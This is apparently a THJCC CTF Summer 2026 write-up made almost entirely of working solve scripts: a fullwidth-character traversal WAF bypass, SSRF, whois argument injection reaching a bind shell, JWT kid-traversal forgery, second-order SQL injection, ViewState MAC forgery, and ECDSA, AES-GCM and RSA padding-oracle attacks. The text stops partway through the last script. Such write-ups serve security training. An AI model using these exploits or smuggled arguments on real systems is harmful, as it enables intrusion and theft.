THJCC CTF Summer 2026 writeup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

#!/usr/bin/env python3
"""SimpleNotes (THJCC CTF Summer 2026, Web) — 一键复现.

原理: 控制器对 f 做一次 java.net.URLDecoder.decode; 其十六进制解析走
Character.digit(char,16), 接受全角字符('２'->2, 'ｅ'->14, 'ｆ'->15),
故 "%２ｅ"->'.'、"%２ｆ"->'/', 而 WAF 只匹配 ASCII token "%2e/%2f/..".
传输约束: '%' 必须写成 %25, 全角字符必须 UTF-8 百分号编码(裸高位字节/裸%+非ASCII
均被 Tomcat 400).

用法: solve.py [base_url] [--depth N] [--target flag.txt]
"""
import argparse
import sys
import urllib.request

FW = {"2": "２", "e": "ｅ", "f": "ｆ", "E": "Ｅ", "F": "Ｆ"}


def ghost_escape(ch: str) -> str:
    """把 '.' 或 '/' 编码成 URLDecoder 能折叠、WAF 看不见的 %２ｅ/%２ｆ 形态."""
    hexpair = f"{ord(ch):02x}"          # '.' -> '2e', '/' -> '2f'
    body = "".join(FW[c] for c in hexpair)
    return "%25" + "".join(f"%{b:02X}" for b in body.encode("utf-8"))


def fetch(base: str, query: str) -> tuple[int, str]:
    url = f"{base.rstrip('/')}/api/read?{query}"
    try:
        with urllib.request.urlopen(url, timeout=10) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("base", nargs="?", default="http://chal.thjcc.org:12024")
    ap.add_argument("--depth", type=int, default=2, help="notes 目录深度(默认 2)")
    ap.add_argument("--target", default="flag.txt", help="根下目标文件名")
    a = ap.parse_args()

    code, body = fetch(a.base, "f=" + ghost_escape("."))
    print(f"[*] canary -> [{code}] {body.strip()!r} (期望 404 echo '.')")

    q = "f=" + (ghost_escape(".") * 2 + "/") * a.depth + ghost_escape("/") + a.target
    code, body = fetch(a.base, q)
    print(f"[*] traversal(depth={a.depth}) -> [{code}]")
    if code == 200 and body.startswith("THJCC{"):
        print(f"[+] {body.strip()}")
        sys.exit(0)
    print(f"[-] {body.strip()[:200]}  (尝试 --depth 1/2/3)")
    sys.exit(1)


if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# ==== get-file1/solve.py ====
#!/usr/bin/env python3
"""get-file1 一键复现：SSRF + 小写 location 头绕过重定向白名单校验。

用法: python3 solve.py [host:port]
默认 chal.thjcc.org:8081。预期输出: THJCC{...}
"""
import sys, urllib.request, urllib.error

TARGET = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org:8081"

# r = redirector 的 compose 服务名（docker-compose.yml services.r）
# /a 端点用小写 'location' 头发出 302 -> http://flag.thjcc/flag.txt
payload = f"http://{TARGET}/file.php?u=http://r/a"

try:
    body = urllib.request.urlopen(payload, timeout=20).read().decode()
except urllib.error.HTTPError as e:
    body = e.read().decode()

print(f"[+] GET {payload}")
print(body.strip())

# 对照组：/b 用大写 'Location'，会被 file.php 的
# str_starts_with($v,'Location:') 手动校验抓住 -> 400 error
try:
    urllib.request.urlopen(f"http://{TARGET}/file.php?u=http://r/b", timeout=20).read()
    ctrl = "unexpected 200"
except urllib.error.HTTPError as e:
    ctrl = e.read().decode().strip()
print(f"[*] control /b (capital Location) -> {ctrl!r} (预期 'error')")
if "THJCC{" in body:
    print("[*] flag captured")

1
2
3
4
5
6
7
8
9

# ==== get-file2/solve.sh ====
#!/bin/bash
# get-file2 solve: SSRF to internal r/a which serves the flag directly.
# Usage: bash solve.sh [host] [port]
set -u
HOST="${1:-chal.thjcc.org}"
PORT="${2:-8082}"
curl -s -m 10 "http://${HOST}:${PORT}/file.php?u=http://r/a"
echo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

#!/bin/sh
# solve.sh — Who is Whois? 2 (THJCC CTF Summer 2026, Web, 500pts)
# 攻击链: whois CLI 参数注入（-h/-p）→ SSRF → 127.0.0.1:31337 bind shell（redis 用户）
#         → 执行 /flag（root 0711: 可执行不可读）→ 输出 flag
# 用法: bash solve.sh [HOST] [PORT]
# 依赖: curl, python3（解析 JSON）
set -u

HOST="${1:-chal.thjcc.org}"
PORT="${2:-5000}"
QUERY='-h 127.0.0.1 -p 31337 /flag'

echo "[*] WHOIS SSRF payload: ${QUERY}"
RESP=$(curl -sk --max-time 15 -X POST "http://${HOST}:${PORT}/whois" \
  -H 'Content-Type: application/json' \
  -d "{\"query\":\"${QUERY}\"}")

FLAG=$(echo "${RESP}" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("output","").strip())')
echo "[+] Flag: ${FLAG}"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

#!/usr/bin/env python3
"""Avatar Studio - one-shot solve.

Vuln chain (from .git leak source, app.py):
  load_key(kid) only blocks NUL bytes and leading "/" -- os.path.join(KEY_DIR, kid)
  still allows "../" traversal, so ANY file with known content can serve as the
  HMAC-SHA256 signing key. The app itself serves /.git/<path> verbatim, so we can
  read .git/HEAD bytes live and use kid="../.git/HEAD" to forge an admin JWT.

Usage: solve.py BASE_URL   (instance URL from the CTF-Instancer, e.g. http://chal.thjcc.org:<port>)
"""
import base64
import hashlib
import hmac
import json
import sys
import urllib.request

if len(sys.argv) < 2:
    sys.exit("usage: solve.py BASE_URL  (your instancer-provided instance URL)")
BASE = sys.argv[1].rstrip("/")


def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(data: str) -> bytes:
    return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))


def forge(kid: str, payload: dict, key: bytes) -> str:
    header = {"alg": "HS256", "typ": "JWT", "kid": kid}
    h = b64url(json.dumps(header, separators=(",", ":")).encode())
    p = b64url(json.dumps(payload, separators=(",", ":")).encode())
    sig = hmac.new(key, f"{h}.{p}".encode(), hashlib.sha256).digest()
    return h + "." + p + "." + b64url(sig)


def get(path: str, cookie: str = None) -> tuple[int, bytes]:
    req = urllib.request.Request(BASE + path)
    if cookie:
        req.add_header("Cookie", cookie)
    try:
        r = urllib.request.urlopen(req, timeout=10)
        return r.status, r.read()
    except urllib.error.HTTPError as e:
        return e.code, e.read()


# 1. pull exact key material from the app's own .git route
status, head_bytes = get("/.git/HEAD")
assert status == 200, f".git/HEAD fetch failed: {status}"
print(f"[*] .git/HEAD = {head_bytes!r}")

# 2. forge admin token with that file as the HMAC key
payload = {"username": "admin", "role": "admin"}
token = forge("../.git/HEAD", payload, head_bytes)
print(f"[*] forged token = {token}")

# 3. claim the flag
status, body = get("/admin", f"session={token}")
print(f"[*] /admin -> {status}")
text = body.decode(errors="replace")
import re
m = re.search(r"THJCC\{[^}]*\}", text)
if m:
    print(f"[+] FLAG: {m.group(0)}")
else:
    print(text[:500])
    sys.exit(1)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

#!/usr/bin/env python3
"""Bookworm (THJCC CTF Summer 2026) — second-order SQLi via async report thread.

Usage:
    python3 solve.py --host chal.thjcc.org --port 31263

Chain:
  1. register a user whose username is a SQL payload (all main routes are
     safely parameterized, the payload just sits in the users table)
  2. POST /generate_report -> the *background thread* later runs
     SELECT title,author,rating FROM books WHERE username='<payload>'
     with string concatenation -> second-order SQL injection
  3. the generated CSV report is the exfil channel (UNION results appear
     as book rows); a crashed thread = no report row at all (boolean oracle)
"""
import argparse
import re
import sys
import time

import requests

FLAG_TABLE_B64 = "bjB0aDFuZ190MF9zMzNfaDNyMw=="  # decodes to n0th1ng_t0_s33_h3r3

DUMPS = [
    ("tables",
     "x' UNION SELECT 1,(SELECT group_concat(name) FROM sqlite_master "
     "WHERE type='table'),3-- "),
    ("hidden-schema",
     "y' UNION SELECT 1,(SELECT sql FROM sqlite_master "
     "WHERE name LIKE 'bjB0%'),3-- "),
    ("flag",
     "z1' UNION SELECT (SELECT name||' == '||value FROM "
     f"\"{FLAG_TABLE_B64}\"),2,3-- "),
]


def sqli_report(base, payload, idx):
    """Register payload-username, trigger async report, return CSV text."""
    s = requests.Session()
    user = payload  # full payload must survive: usernames >64 chars are accepted
    s.post(f"{base}/signup", data={"username": user, "email": "e@e.com",
                                   "password": "Pw12345!"}, timeout=10)
    r = s.post(f"{base}/login", data={"username": user,
                                      "password": "Pw12345!"}, timeout=10)
    if "Logout" not in r.text:
        print("[-] login failed (username rejected?)", file=sys.stderr)
        return None
    s.post(f"{base}/shelf", data={"title": "mk", "author": "a",
                                  "rating": "3"}, timeout=10)
    s.post(f"{base}/generate_report", timeout=10)
    for _ in range(6):  # async thread writes the row ~1-4s later
        time.sleep(2)
        inbox = s.get(f"{base}/inbox", timeout=10).text
        ids = re.findall(r"/download_report/(\d+)", inbox)
        if ids:
            return s.get(f"{base}/download_report/{max(ids, key=int)}",
                         timeout=10).text
    return None


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", required=True)
    ap.add_argument("--port", type=int, required=True)
    args = ap.parse_args()
    base = f"http://{args.host}:{args.port}"

    for tag, payload in DUMPS:
        print(f"[+] dumping: {tag}")
        csv = sqli_report(base, payload, tag)
        if csv is None:
            print("    (thread crashed or no report -> payload rejected)")
            continue
        for line in csv.splitlines():
            if (line.startswith(("mk,", '"mk')) or "script" in line.lower()
                    or line == "title,author,rating" or line in (",2,3", "1,2,3")):
                continue
            print("   ", line[:300])
            m = re.search(r"(THJCC\{[^}]+\})", line)
            if m:
                print("\n[+] FLAG:", m.group(1))
                return


if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

#!/usr/bin/env python3
"""Contoso Asset Portal — ViewState MAC forgery solve script.

Chain:
  1. /robots.txt -> /backup/ -> 2024-legacy-web.config~ leaks the production
     machineKey validationKey (SHA1, unrotated).
  2. Default.aspx keeps session state (role, asset) inside __VIEWSTATE,
     serialized as Pair(role, asset) via ObjectStateFormatter (Mono).
  3. Rebuild the serialized payload with role=admin, asset=AST-4F2A9C0
     (the 'restricted' row in assets.csv.bak) and append a valid
     HMACSHA1(validationKey, payload) MAC -> flag is returned.

Usage: python3 solve.py [base_url]
"""
import base64
import hashlib
import hmac
import re
import sys
import urllib.parse
import urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://chal.thjcc.org:31257"
PAGE = BASE + "/Default.aspx"

# Leaked from /backup/2024-legacy-web.config~ (comment: "keys were NOT rotated")
VALIDATION_KEY = bytes.fromhex(
    "F3690E7A9D8F4C2B1A5E6D7C8B9A0F1E2D3C4B5A69788796A5B4C3D2E1F0A9B8"
    "C7D6E5F4A3B2C1D0E9F8A7B6C5D4E3F2A1B0C9D8E7F6A5B4C3D2E1F0A9B8"
)

ROLE = "admin"
ASSET = "AST-4F2A9C0"  # Domain Controller, classification=restricted


def forge_viewstate(role, asset):
    """Rebuild ObjectStateFormatter payload: FF 01 <type=0x0C Pair> <str> <str>."""
    rb, ab = role.encode(), asset.encode()
    payload = bytes([0xFF, 0x01, 0x0C, 0x01, len(rb)]) + rb + bytes([0x01, len(ab)]) + ab
    mac = hmac.new(VALIDATION_KEY, payload, hashlib.sha1).digest()
    return base64.b64encode(payload + mac).decode()


def main():
    vs = forge_viewstate(ROLE, ASSET)
    data = urllib.parse.urlencode({"q": "", "__VIEWSTATE": vs}).encode()
    req = urllib.request.Request(PAGE, data=data)
    with urllib.request.urlopen(req, timeout=20) as resp:
        body = resp.read().decode(errors="replace")
    m = re.search(r"<code>(THJCC\{[^<]*\})</code>", body)
    if not m:
        sys.exit("flag not found in response:\n" + body[:500])
    print(m.group(1))


if __name__ == "__main__":
    main()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148

#!/usr/bin/env python3
"""Nonce Sense (THJCC Summer 2026) — ECDSA/secp256k1 nonce-reuse solver.

Protocol observed:
  PUB  <x(32B hex)> <y(32B hex)>             # uncompressed secp256k1 pubkey
  SIG  <msg hex> <r(32B hex)> <s(32B hex)>   # two sigs share r => same nonce k
  TARGET <msg hex>                           # message we must sign

Attack:
  k  = (z1 - z2) / (s1 - s2) mod n          (z_i = SHA256(msg_i))
  d  = (s1*k - z1) / r mod n
  then sign TARGET with a fresh nonce.
"""
import hashlib
import os
import re
import socket
import sys

# ---- secp256k1 constants ----
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8


def point_add(A, B):
    if A is None:
        return B
    if B is None:
        return A
    x1, y1 = A
    x2, y2 = B
    if x1 == x2 and (y1 + y2) % P == 0:
        return None
    if A == B:
        lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P
    else:
        lam = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
    x3 = (lam * lam - x1 - x2) % P
    y3 = (lam * (x1 - x3) - y1) % P
    return (x3, y3)


def point_mul(k, base=(GX, GY)):
    R = None
    Q = base
    while k:
        if k & 1:
            R = point_add(R, Q)
        Q = point_add(Q, Q)
        k >>= 1
    return R


def recover_key(pub, r, s1, s2, m1, m2):
    z1 = int.from_bytes(hashlib.sha256(m1).digest(), "big")
    z2 = int.from_bytes(hashlib.sha256(m2).digest(), "big")
    k = (z1 - z2) * pow((s1 - s2) % N, -1, N) % N
    Rk = point_mul(k)
    assert Rk[0] % N == r, "nonce recovery failed"
    d = (s1 * k - z1) * pow(r, -1, N) % N
    assert point_mul(d) == pub, "pubkey mismatch"
    return d, k


def sign(d, msg, nonce=None):
    z = int.from_bytes(hashlib.sha256(msg).digest(), "big")
    while True:
        k = nonce if nonce is not None else int.from_bytes(os.urandom(32), "big") % N
        if k == 0:
            k = None
            continue
        R = point_mul(k)
        r = R[0] % N
        if r == 0:
            k = None
            continue
        s = pow(k, -1, N) * (z + r * d) % N
        if s == 0:
            k = None
            continue
        return r, s


def main():
    sock = socket.create_connection(("chal.thjcc.org", 12001), timeout=10)
    sock.settimeout(10)
    data = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
        if data.count(b"\n") >= 4:  # banner done after TARGET line
            break
    text = data.decode(errors="replace")
    print("[*] server banner:")
    print(text)

    lines = text.strip().splitlines()
    pub = None
    sigs = []
    target = None
    for ln in lines:
        parts = ln.split()
        if parts[0] == "PUB":
            pub = (int(parts[1], 16), int(parts[2], 16))
        elif parts[0] == "SIG":
            sigs.append((bytes.fromhex(parts[1]), int(parts[2], 16), int(parts[3], 16)))
        elif parts[0] == "TARGET":
            target = bytes.fromhex(parts[1])
    assert pub and len(sigs) >= 2 and target is not None

    m1, r1, s1 = sigs[0]
    m2, r2, s2 = sigs[1]
    assert r1 == r2, "signatures do not share nonce"
    print(f"[+] live values: shared r={r1:x}, s1={s1:x}, s2={s2:x}")

    d, k_reuse = recover_key(pub, r1, s1, s2, m1, m2)
    print(f"[+] recovered private key d = {d:x}")

    rr, ss = sign(d, target, nonce=k_reuse)
    sig_line = f"{rr:064x} {ss:064x}"
    print(f"[+] crafted (r=s, nonce reused): {sig_line}")

    sock.sendall((sig_line + "\n").encode())
    reply = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            reply += chunk
    except socket.timeout:
        pass
    print("[*] server reply:")
    print(reply.decode(errors="replace"))
    sock.close()

    flag = re.search(rb"THJCC\{[^}]+\}", reply)
    if flag:
        print(f"[+] FLAG: {flag.group().decode()}")
    return 0


if __name__ == "__main__":
    sys.exit(main())

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194

#!/usr/bin/env python3
"""THJCC Summer 2026 - Forbidden (Crypto)
AES-GCM nonce reuse ("Forbidden" attack): the server encrypts several known
plaintexts with the SAME nonce/key. Recover the GHASH key H and the tag
encryption constant E = E(K, J0) from (pt, ct, tag) pairs, then forge a
valid (ct, tag) for the target plaintext "give me the flag".
Usage: solve.py [host] [port]
"""
import socket, sys

HOST = sys.argv[1] if len(sys.argv) > 1 else 'chal.thjcc.org'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 12002

# ---------------- GF(2^128), GCM convention (big-endian, poly x^128+x^7+x^2+x+1)
def gf_mul(a, b):
    # NIST SP 800-38D Algorithm 1 (right-shift "multiply")
    # 128-bit blocks as big-endian ints; bit 0 = MSB. R = x^127+x^126+x^125+x^120.
    z, v = 0, a
    R = 0xE1 << 120
    for i in range(128):
        if (b >> (127 - i)) & 1:
            z ^= v
        if v & 1:
            v = (v >> 1) ^ R
        else:
            v >>= 1
    return z

def gf_inv(a):
    # multiplicative identity under GCM mul is x^127 = 2^127 (leftmost bit),
    # so exponentiation must start from that, not from integer 1.
    r = 1 << 127
    e = (1 << 128) - 2
    while e:
        if e & 1:
            r = gf_mul(r, a)
        a = gf_mul(a, a)
        e >>= 1
    return r

# ---------------- polynomials over GF(2^128), coeff lists low->high
def poly_trim(a):
    while len(a) > 1 and a[-1] == 0:
        a = a[:-1]
    return a

def poly_xor(a, b):
    n = max(len(a), len(b))
    r = [0] * n
    for i in range(n):
        r[i] = (a[i] if i < len(a) else 0) ^ (b[i] if i < len(b) else 0)
    return poly_trim(r)

def poly_mod(a, b):
    a = poly_trim(a[:])
    b = poly_trim(b[:])
    db = len(b) - 1
    inv_lead = gf_inv(b[-1])
    r = a
    while len(r) - 1 >= db:
        shift = len(r) - 1 - db
        coef = gf_mul(r[-1], inv_lead)
        for i, bi in enumerate(b):
            r[i + shift] ^= gf_mul(coef, bi)
        r = poly_trim(r)
        if len(r) == 1 and r[0] == 0:
            break
    return r

def poly_gcd(a, b):
    a, b = poly_trim(a[:]), poly_trim(b[:])
    while not (len(b) == 1 and b[0] == 0):
        a, b = b, poly_mod(a, b)
    return a

# ---------------- GHASH (AAD empty)
def ghash(H, ct_bytes):
    L = len(ct_bytes) * 8
    padded = ct_bytes + b'\x00' * ((16 - len(ct_bytes) % 16) % 16)
    X = 0
    for i in range(0, len(padded), 16):
        X = gf_mul(X ^ int.from_bytes(padded[i:i + 16], 'big'), H)
    return gf_mul(X ^ L, H)  # len block: (0<<64) | L

# polynomial P(H) = GHASH(H, C) ^ tag   (P(H) == 0 for the real H)
def block_poly(pt, ct, tag):
    m = (len(ct) + 15) // 16
    padded = ct + b'\x00' * ((16 - len(ct) % 16) % 16)
    coeffs = [0] * (m + 2)
    # GHASH(H, C) = sum_j block_j * H^(m+1-j) + (len*8)*H   (block_0 first, highest power)
    for j in range(m):
        coeffs[m + 1 - j] = int.from_bytes(padded[j * 16:(j + 1) * 16], 'big')
    coeffs[1] ^= len(ct) * 8
    coeffs[0] ^= int.from_bytes(tag, 'big')
    return poly_trim(coeffs)

def recover_H(msgs):
    """msgs: list of (pt, ct, tag). Returns (H, E)."""
    p0 = block_poly(*msgs[0])
    g = None
    for m in msgs[1:]:
        p = poly_xor(p0, block_poly(*m))  # P(H) = 0
        g = p if g is None else poly_gcd(g, p)
    lead = g[-1]
    g = poly_trim([gf_mul(c, gf_inv(lead)) for c in g])
    if len(g) != 2:
        raise RuntimeError(f"GCD not linear, degree={len(g) - 1}")
    H = g[0]
    Es = {int.from_bytes(tag, 'big') ^ ghash(H, ct) for _pt, ct, tag in msgs}
    if len(Es) != 1:
        raise RuntimeError("E inconsistent across messages")
    return H, Es.pop()

def forge(msgs, target):
    H, E = recover_H(msgs)
    # derive keystream from a message long enough to cover the whole target
    pt0, ct0, _ = max(msgs, key=lambda m: len(m[0]))
    assert len(pt0) >= len(target), "no message long enough for target"
    ks1 = bytes(a ^ b for a, b in zip(pt0, ct0))
    ct_star = bytes(a ^ b for a, b in zip(target, ks1))
    tag_star = int.to_bytes(E ^ ghash(H, ct_star), 16, 'big')
    return H, E, ct_star, tag_star

# ---------------- network
def recv_all(s, timeout=2.0):
    s.settimeout(timeout)
    buf = b''
    try:
        while True:
            d = s.recv(4096)
            if not d:
                break
            buf += d
    except (socket.timeout, ConnectionResetError):
        pass
    return buf

def get_banner():
    s = socket.create_connection((HOST, PORT), timeout=10)
    banner = recv_all(s, 2.0)
    return s, banner

def parse(banner):
    nonce = None
    msgs = []
    target = None
    for line in banner.split(b'\n'):
        if not line:
            continue
        parts = line.split(b' ')
        if parts[0] == b'NONCE':
            nonce = bytes.fromhex(parts[1].decode())
        elif parts[0] == b'MSG':
            msgs.append((bytes.fromhex(parts[1].decode()),
                         bytes.fromhex(parts[2].decode()),
                         bytes.fromhex(parts[3].decode())))
        elif parts[0] == b'TARGET':
            target = bytes.fromhex(parts[1].decode())
    return nonce, msgs, target

def main():
    s, banner = get_banner()          # single connection: key/nonce are per-connection
    nonce, msgs, target = parse(banner)
    print(f"nonce={nonce.hex()} msgs={len(msgs)} target={target!r}", flush=True)
    assert target == b'give me the flag'
    assert len(msgs) >= 3

    H, E, ct_star, tag_star = forge(msgs, target)
    print(f"H  = {H:032x}", flush=True)
    print(f"E  = {E:032x}", flush=True)
    print(f"ct* = {ct_star.hex()}", flush=True)
    print(f"tag* = {tag_star.hex()}", flush=True)

    pt_hex, ct_hex, tag_hex = target.hex(), ct_star.hex(), tag_star.hex()
    candidates = [
        f'{ct_hex} {tag_hex}'.encode(),                      # confirmed working format
        f'MSG {pt_hex} {ct_hex} {tag_hex}'.encode(),
        f'{pt_hex} {ct_hex} {tag_hex}'.encode(),
        f'TARGET {ct_hex} {tag_hex}'.encode(),
    ]
    for payload in candidates:
        s.sendall(payload + b'\n')
        resp = recv_all(s, 2.0)
        print(f"sent {payload[:44]!r}... -> {resp!r}", flush=True)
        if b'NOPE' not in resp:
            print("=== SUCCESS ===", flush=True)
            print(resp.decode(errors='replace'), flush=True)
            s.close()
            return 0
    print("all formats returned NOPE")
    return 1

if __name__ == '__main__':
    sys.exit(main())

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

#!/usr/bin/env python3
"""Two Exponents — common-modulus RSA with gcd(e1,e2)=3 variant.

Classic common-modulus needs gcd(e1,e2)==1; here gcd(111,39)=3, so the Bezout
combination yields c1^a * c2^b = m^3 mod n. Since the plaintext flag is short
(m^3 << n), the cube root is exact.
"""
import re
from math import gcd
from pathlib import Path

try:
    from sympy import integer_nthroot
except ImportError:
    import sys
    sys.exit("pip install sympy into the project venv")

data = Path(__file__).parent / "chal-Two-Exponents" / "output.txt"
text = data.read_text()
n = int(re.search(r"^n\s*=\s*(\d+)", text, re.M).group(1))
e1 = int(re.search(r"^e1\s*=\s*(\d+)", text, re.M).group(1))
c1 = int(re.search(r"^c1\s*=\s*(\d+)", text, re.M).group(1))
e2 = int(re.search(r"^e2\s*=\s*(\d+)", text, re.M).group(1))
c2 = int(re.search(r"^c2\s*=\s*(\d+)", text, re.M).group(1))

g = gcd(e1, e2)
print(f"gcd(e1,e2) = {g}")
assert g > 1, "classic gcd=1 path (a*e1+b*e2=1)"

# Bezout for a*e1 + b*e2 = g
def egcd(a, b):
    if b == 0:
        return a, 1, 0
    g_, x_, y_ = egcd(b, a % b)
    return g_, y_, x_ - (a // b) * y_

_, a, b = egcd(e1, e2)  # a*e1 + b*e2 = g
print(f"a={a} b={b}  (a*e1+b*e2={a*e1+b*e2})")

m_g = (pow(c1, a, n) * pow(c2, b, n)) % n  # == m^g mod n
print(f"m^g mod n bits: {m_g.bit_length()} / n bits: {n.bit_length()}")

root, exact = integer_nthroot(m_g, g)
print(f"g-th root exact: {exact}")
assert exact, "m^g >= n, need different strategy"

m = root
flag = bytes.fromhex(f"{m:x}").decode(errors="replace")
print("flag:", flag)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216

#!/usr/bin/env python3
"""THJCC Summer 2026 - "A Million Messages" - Bleichenbacher MMA solver.

Protocol (per connection, fresh 512-bit RSA key every connect):
  server -> "N <hex>", "E <hex>", "C <hex>"   (C = PKCS#1 v1.5-padded flag)
  client -> "<hex ciphertext X>"             (one line per query)
  server -> "OK" iff D(X) as k-byte big-endian starts with 00 02, else "BAD"

Oracle checks ONLY the first two bytes (verified: short padding / no 00
separator still return OK; type 01 / 03 return BAD), so the conforming set is
exactly [2B, 3B) with B = 2^(8(k-2)) -- textbook prefix-only Bleichenbacher.

Server processes ~24 queries/sec per connection, so we run several
independent attacks in parallel threads (each has its own connection/key)
and take whichever finishes first.

Usage: solve.py [host] [port] [n_conns]
"""
import socket, sys, threading, time, json

HOST = sys.argv[1] if len(sys.argv) > 1 else 'chal.thjcc.org'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 12003
NCONNS = int(sys.argv[3]) if len(sys.argv) > 3 else 3

def cdiv(x, y):
    return -((-x) // y)

class OracleConn:
    def __init__(self, host, port):
        self.s = socket.create_connection((host, port), timeout=90)
        self.s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        self.buf = b''
        self.n_sent = 0
        self.n_read = 0
        self.N = int(self.readline().split()[1], 16)
        self.E = int(self.readline().split()[1], 16)
        self.C = int(self.readline().split()[1], 16)

    def readline(self):
        while b'\n' not in self.buf:
            chunk = self.s.recv(65536)
            if not chunk:
                raise EOFError('server closed')
            self.buf += chunk
        line, self.buf = self.buf.split(b'\n', 1)
        return line

    def ask_batch(self, multipliers, chunk_hint=256):
        """Send oracle(C * t^e mod N) for each t; returns list of bools."""
        out = []
        for i in range(0, len(multipliers), chunk_hint):
            part = multipliers[i:i+chunk_hint]
            payload = b''.join((f"{(self.C * pow(t, self.E, self.N)) % self.N:x}".zfill(128) + '\n').encode() for t in part)
            self.s.sendall(payload)
            self.n_sent += len(part)
            for _ in part:
                out.append(self.readline() == b'OK')
                self.n_read += 1
        return out

def attack(idx, stop, results, log):
    def p(msg):
        log(f"[conn{idx}] {msg}")

    for attempt in range(4):
        if stop.is_set():
            return
        try:
            oc = OracleConn(HOST, PORT)
        except Exception as e:
            p(f"connect failed: {e!r}; retrying")
